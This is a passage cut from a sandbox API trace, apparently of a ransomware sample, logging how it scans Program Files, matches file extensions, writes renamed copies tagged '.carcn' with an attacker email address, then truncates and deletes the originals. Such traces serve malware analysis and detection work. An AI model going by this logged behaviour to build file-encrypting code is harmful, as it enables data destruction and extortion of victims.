-1 [0297.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0297.857] lstrlenW (lpString=".1cd") returned 4 [0297.857] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0297.857] lstrlenW (lpString=".jpg") returned 4 [0297.857] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.857] lstrcmpiW (lpString1=".tlb", lpString2=".carcn") returned 1 [0297.858] lstrlenW (lpString="msadomd28.tlb") returned 13 [0297.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0297.858] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=13824) returned 1 [0297.858] CloseHandle (hObject=0x338) returned 1 [0297.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb")) returned 0x20 [0297.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.859] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0297.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54 [0297.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54 [0297.859] lstrlenW (lpString=".doc") returned 4 [0297.859] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0297.859] lstrlenW (lpString=".docx") returned 5 [0297.859] lstrcmpiW (lpString1=".docx", lpString2="8.tlb") returned -1 [0297.859] lstrlenW (lpString=".pdf") returned 4 [0297.859] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0297.859] lstrlenW (lpString=".xls") returned 4 [0297.859] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0297.859] lstrlenW (lpString=".xlsx") returned 5 [0297.859] lstrcmpiW (lpString1=".xlsx", lpString2="8.tlb") returned -1 [0297.859] lstrlenW (lpString=".ppt") returned 4 [0297.859] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0297.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54 [0297.859] lstrlenW (lpString=".zip") returned 4 [0297.859] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0297.859] lstrlenW (lpString=".rar") returned 4 [0297.859] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0297.859] lstrlenW (lpString=".bz2") returned 4 [0297.859] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0297.859] lstrlenW (lpString=".7z") returned 3 [0297.860] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0297.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54 [0297.860] lstrlenW (lpString=".dbf") returned 4 [0297.860] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0297.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54 [0297.860] lstrlenW (lpString=".1cd") returned 4 [0297.860] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0297.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54 [0297.860] lstrlenW (lpString=".jpg") returned 4 [0297.860] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0297.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54 [0297.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54 [0297.860] lstrlenW (lpString=".doc") returned 4 [0297.860] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0297.860] lstrlenW (lpString=".docx") returned 5 [0297.860] lstrcmpiW (lpString1=".docx", lpString2="8.tlb") returned -1 [0297.860] lstrlenW (lpString=".pdf") returned 4 [0297.860] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0297.860] lstrlenW (lpString=".xls") returned 4 [0297.860] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0297.860] lstrlenW (lpString=".xlsx") returned 5 [0297.860] lstrcmpiW (lpString1=".xlsx", lpString2="8.tlb") returned -1 [0297.860] lstrlenW (lpString=".ppt") returned 4 [0297.860] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0297.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54 [0297.860] lstrlenW (lpString=".zip") returned 4 [0297.860] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0297.860] lstrlenW (lpString=".rar") returned 4 [0297.861] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0297.861] lstrlenW (lpString=".bz2") returned 4 [0297.861] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0297.861] lstrlenW (lpString=".7z") returned 3 [0297.861] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0297.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54 [0297.861] lstrlenW (lpString=".dbf") returned 4 [0297.861] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0297.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54 [0297.861] lstrlenW (lpString=".1cd") returned 4 [0297.861] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0297.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54 [0297.861] lstrlenW (lpString=".jpg") returned 4 [0297.861] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0297.861] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0297.861] lstrlenW (lpString="msador15.dll") returned 12 [0297.861] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0297.862] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=45568) returned 1 [0297.862] CloseHandle (hObject=0x338) returned 1 [0297.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll")) returned 0x20 [0297.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0297.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll") returned 53 [0297.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll") returned 53 [0297.863] lstrlenW (lpString=".doc") returned 4 [0297.863] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.863] lstrlenW (lpString=".docx") returned 5 [0297.863] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0297.863] lstrlenW (lpString=".pdf") returned 4 [0297.863] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.863] lstrlenW (lpString=".xls") returned 4 [0297.863] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.863] lstrlenW (lpString=".xlsx") returned 5 [0297.863] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0297.863] lstrlenW (lpString=".ppt") returned 4 [0297.863] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll") returned 53 [0297.863] lstrlenW (lpString=".zip") returned 4 [0297.863] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.863] lstrlenW (lpString=".rar") returned 4 [0297.863] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.863] lstrlenW (lpString=".bz2") returned 4 [0297.863] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.864] lstrlenW (lpString=".7z") returned 3 [0297.864] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll") returned 53 [0297.864] lstrlenW (lpString=".dbf") returned 4 [0297.864] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll") returned 53 [0297.864] lstrlenW (lpString=".1cd") returned 4 [0297.864] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll") returned 53 [0297.864] lstrlenW (lpString=".jpg") returned 4 [0297.864] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll") returned 53 [0297.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll") returned 53 [0297.864] lstrlenW (lpString=".doc") returned 4 [0297.864] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.864] lstrlenW (lpString=".docx") returned 5 [0297.864] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0297.864] lstrlenW (lpString=".pdf") returned 4 [0297.864] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.864] lstrlenW (lpString=".xls") returned 4 [0297.864] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.864] lstrlenW (lpString=".xlsx") returned 5 [0297.865] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0297.865] lstrlenW (lpString=".ppt") returned 4 [0297.865] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll") returned 53 [0297.865] lstrlenW (lpString=".zip") returned 4 [0297.865] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.865] lstrlenW (lpString=".rar") returned 4 [0297.865] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.865] lstrlenW (lpString=".bz2") returned 4 [0297.865] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.865] lstrlenW (lpString=".7z") returned 3 [0297.865] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll") returned 53 [0297.865] lstrlenW (lpString=".dbf") returned 4 [0297.865] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll") returned 53 [0297.865] lstrlenW (lpString=".1cd") returned 4 [0297.865] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll") returned 53 [0297.865] lstrlenW (lpString=".jpg") returned 4 [0297.865] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.866] lstrcmpiW (lpString1=".tlb", lpString2=".carcn") returned 1 [0297.866] lstrlenW (lpString="msador28.tlb") returned 12 [0297.866] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0298.475] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=35840) returned 1 [0298.475] CloseHandle (hObject=0x338) returned 1 [0298.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb")) returned 0x20 [0298.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.475] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0298.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb") returned 53 [0298.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb") returned 53 [0298.476] lstrlenW (lpString=".doc") returned 4 [0298.476] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0298.476] lstrlenW (lpString=".docx") returned 5 [0298.476] lstrcmpiW (lpString1=".docx", lpString2="8.tlb") returned -1 [0298.476] lstrlenW (lpString=".pdf") returned 4 [0298.476] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0298.476] lstrlenW (lpString=".xls") returned 4 [0298.476] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0298.476] lstrlenW (lpString=".xlsx") returned 5 [0298.476] lstrcmpiW (lpString1=".xlsx", lpString2="8.tlb") returned -1 [0298.476] lstrlenW (lpString=".ppt") returned 4 [0298.476] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0298.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb") returned 53 [0298.476] lstrlenW (lpString=".zip") returned 4 [0298.476] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0298.476] lstrlenW (lpString=".rar") returned 4 [0298.476] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0298.476] lstrlenW (lpString=".bz2") returned 4 [0298.476] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0298.476] lstrlenW (lpString=".7z") returned 3 [0298.476] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0298.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb") returned 53 [0298.476] lstrlenW (lpString=".dbf") returned 4 [0298.476] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0298.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb") returned 53 [0298.476] lstrlenW (lpString=".1cd") returned 4 [0298.477] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0298.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb") returned 53 [0298.477] lstrlenW (lpString=".jpg") returned 4 [0298.477] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0298.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb") returned 53 [0298.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb") returned 53 [0298.477] lstrlenW (lpString=".doc") returned 4 [0298.477] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0298.477] lstrlenW (lpString=".docx") returned 5 [0298.477] lstrcmpiW (lpString1=".docx", lpString2="8.tlb") returned -1 [0298.477] lstrlenW (lpString=".pdf") returned 4 [0298.477] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0298.477] lstrlenW (lpString=".xls") returned 4 [0298.477] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0298.477] lstrlenW (lpString=".xlsx") returned 5 [0298.477] lstrcmpiW (lpString1=".xlsx", lpString2="8.tlb") returned -1 [0298.477] lstrlenW (lpString=".ppt") returned 4 [0298.477] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0298.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb") returned 53 [0298.477] lstrlenW (lpString=".zip") returned 4 [0298.477] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0298.477] lstrlenW (lpString=".rar") returned 4 [0298.477] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0298.477] lstrlenW (lpString=".bz2") returned 4 [0298.477] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0298.477] lstrlenW (lpString=".7z") returned 3 [0298.477] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0298.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb") returned 53 [0298.477] lstrlenW (lpString=".dbf") returned 4 [0298.477] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0298.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb") returned 53 [0298.478] lstrlenW (lpString=".1cd") returned 4 [0298.478] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0298.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb") returned 53 [0298.478] lstrlenW (lpString=".jpg") returned 4 [0298.478] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0298.478] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0298.478] lstrlenW (lpString="dcpr.dll") returned 8 [0298.478] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0298.478] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=159808) returned 1 [0298.478] CloseHandle (hObject=0x338) returned 1 [0298.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll")) returned 0x20 [0298.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.479] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0298.479] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.479] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.479] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0298.479] GetLastError () returned 0x0 [0298.479] ReadFile (in: hFile=0x338, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x27040, lpOverlapped=0x0) returned 1 [0298.496] WriteFile (in: hFile=0x394, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x27050, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x27050, lpOverlapped=0x0) returned 1 [0298.499] ReadFile (in: hFile=0x338, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.500] WriteFile (in: hFile=0x394, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xe4, lpOverlapped=0x0) returned 1 [0298.500] SetEndOfFile (hFile=0x394) returned 1 [0298.500] CloseHandle (hObject=0x394) returned 1 [0298.500] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.500] SetEndOfFile (hFile=0x338) returned 1 [0298.502] CloseHandle (hObject=0x338) returned 1 [0298.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0298.502] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll")) returned 1 [0298.503] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0298.503] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0298.503] lstrlenW (lpString=".doc") returned 4 [0298.503] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.503] lstrlenW (lpString=".docx") returned 5 [0298.503] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0298.503] lstrlenW (lpString=".pdf") returned 4 [0298.503] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.503] lstrlenW (lpString=".xls") returned 4 [0298.503] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.503] lstrlenW (lpString=".xlsx") returned 5 [0298.503] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0298.503] lstrlenW (lpString=".ppt") returned 4 [0298.503] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.503] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0298.503] lstrlenW (lpString=".zip") returned 4 [0298.503] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.503] lstrlenW (lpString=".rar") returned 4 [0298.503] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.503] lstrlenW (lpString=".bz2") returned 4 [0298.503] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.503] lstrlenW (lpString=".7z") returned 3 [0298.503] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.503] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0298.503] lstrlenW (lpString=".dbf") returned 4 [0298.503] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.503] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0298.504] lstrlenW (lpString=".1cd") returned 4 [0298.504] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.504] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0298.504] lstrlenW (lpString=".jpg") returned 4 [0298.504] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.504] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0298.504] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0298.504] lstrlenW (lpString=".doc") returned 4 [0298.504] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.504] lstrlenW (lpString=".docx") returned 5 [0298.504] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0298.504] lstrlenW (lpString=".pdf") returned 4 [0298.504] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.504] lstrlenW (lpString=".xls") returned 4 [0298.504] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.504] lstrlenW (lpString=".xlsx") returned 5 [0298.504] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0298.504] lstrlenW (lpString=".ppt") returned 4 [0298.504] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.504] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0298.504] lstrlenW (lpString=".zip") returned 4 [0298.504] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.504] lstrlenW (lpString=".rar") returned 4 [0298.504] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.504] lstrlenW (lpString=".bz2") returned 4 [0298.504] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.504] lstrlenW (lpString=".7z") returned 3 [0298.505] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.505] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0298.505] lstrlenW (lpString=".dbf") returned 4 [0298.505] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.505] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0298.505] lstrlenW (lpString=".1cd") returned 4 [0298.505] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.505] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0298.505] lstrlenW (lpString=".jpg") returned 4 [0298.505] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.505] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0298.505] lstrlenW (lpString="decora_sse.dll") returned 14 [0298.505] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0298.506] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=86080) returned 1 [0298.506] CloseHandle (hObject=0x338) returned 1 [0298.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll")) returned 0x20 [0298.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.506] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 